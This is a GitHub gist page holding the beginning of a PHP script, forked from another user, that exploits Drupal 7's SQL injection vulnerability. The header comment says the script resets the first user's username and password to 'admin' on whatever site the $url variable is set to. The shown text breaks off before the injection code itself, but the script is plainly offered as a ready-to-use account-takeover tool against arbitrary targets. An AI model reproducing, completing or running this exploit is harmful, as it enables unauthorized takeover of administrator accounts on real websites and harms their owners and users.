Skip to content

Instantly share code, notes, and snippets.

View jordanlgraham's full-sized avatar

COBadger jordanlgraham

View GitHub Profile
@jordanlgraham
jordanlgraham / drupal_passChange.php
Created October 4, 2024 15:09 — forked from milankragujevic/drupal_passChange.php
Exploiting Drupal 7's SQL Injection vulnerability to change the admin user's password. http://milankragujevic.com/post/66
<?php
/********************************************************
* Drupal 7 SQL Injection vulnerability demo
* Created by Milan Kragujevic (of milankragujevic.com)
* Read more at http://milankragujevic.com/post/66
* This will change the first user's username to admin
* and their password to admin
* Change $url to the website URL
********************************************************/
$url = '[URL HERE]'; // URL of the website (http://domain.com/)